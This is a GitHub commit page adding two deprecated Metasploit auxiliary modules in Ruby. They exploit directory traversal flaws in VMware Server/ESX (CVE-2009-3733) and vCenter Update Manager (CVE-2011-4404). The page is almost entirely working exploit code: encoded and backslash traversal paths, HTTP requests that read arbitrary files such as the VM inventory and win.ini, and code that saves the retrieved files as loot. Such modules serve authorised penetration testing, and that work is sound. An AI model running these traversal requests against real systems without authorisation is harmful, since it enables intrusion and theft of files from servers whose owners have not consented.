Skip to content

Commit 49e4820

Browse files
committed
Add depcrecated note to the existing modules
1 parent 3279518 commit 49e4820

File tree

2 files changed

+162
-0
lines changed

2 files changed

+162
-0
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
# Exploit mixins should be called first
11+
include Msf::Exploit::Remote::HttpClient
12+
# Scanner mixin should be near last
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Auxiliary::Report
15+
include Msf::Module::Deprecated
16+
17+
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav')
18+
19+
def initialize
20+
super(
21+
'Name' => 'VMware Server Directory Traversal Vulnerability',
22+
'Description' => 'This modules exploits the VMware Server Directory Traversal
23+
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
24+
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
25+
allows remote attackers to read arbitrary files. Common VMware server ports
26+
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
27+
the gueststealer tool.',
28+
'Author' => 'CG' ,
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
33+
[ 'OSVDB', '59440' ],
34+
[ 'BID', '36842' ],
35+
[ 'CVE', '2009-3733' ],
36+
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
37+
]
38+
)
39+
register_options(
40+
[
41+
Opt::RPORT(8222),
42+
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
43+
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
44+
], self.class)
45+
end
46+
47+
def run_host(target_host)
48+
49+
begin
50+
file = datastore['FILE']
51+
trav = datastore['TRAV']
52+
res = send_request_raw({
53+
'uri' => trav+file,
54+
'version' => '1.1',
55+
'method' => 'GET'
56+
}, 25)
57+
58+
if res.nil?
59+
print_error("Connection timed out")
60+
return
61+
end
62+
63+
if res.code == 200
64+
#print_status("Output Of Requested File:\n#{res.body}")
65+
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
66+
report_vuln(
67+
{
68+
:host => target_host,
69+
:port => rport,
70+
:proto => 'tcp',
71+
:name => self.name,
72+
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
73+
:refs => self.references,
74+
:exploited_at => Time.now.utc
75+
}
76+
)
77+
else
78+
vprint_status("Received #{res.code} for #{trav}#{file}")
79+
end
80+
81+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
82+
print_error(e.message)
83+
rescue ::Timeout::Error, ::Errno::EPIPE
84+
end
85+
end
86+
87+
end
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal')
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => "VMWare Update Manager 4 Directory Traversal",
20+
'Description' => %q{
21+
This modules exploits a directory traversal vulnerability in VMWare Update Manager
22+
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
23+
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Alexey Sintsov', #Initial discovery, poc
29+
'sinn3r' #Metasploit
30+
],
31+
'References' =>
32+
[
33+
['CVE', '2011-4404'],
34+
['EDB', '18138'],
35+
['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
36+
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
37+
],
38+
'DisclosureDate' => "Nov 21 2011"))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(9084),
43+
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
44+
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
45+
], self.class)
46+
end
47+
48+
def run_host(ip)
49+
fname = File.basename(datastore['FILE'])
50+
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
51+
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
52+
53+
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
54+
55+
res = send_request_raw({
56+
'method' => 'GET',
57+
'uri' => uri
58+
}, 25)
59+
60+
# If there's no response, don't bother
61+
if res.nil? or res.body.empty?
62+
print_error("No content retrieved from: #{ip}")
63+
return
64+
end
65+
66+
if res.code == 404
67+
print_error("#{rhost}:#{rport} - File not found")
68+
return
69+
else
70+
print_good("File retrieved from: #{ip}")
71+
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
72+
print_status("File stored in: #{p}")
73+
end
74+
end
75+
end

0 commit comments

Comments
 (0)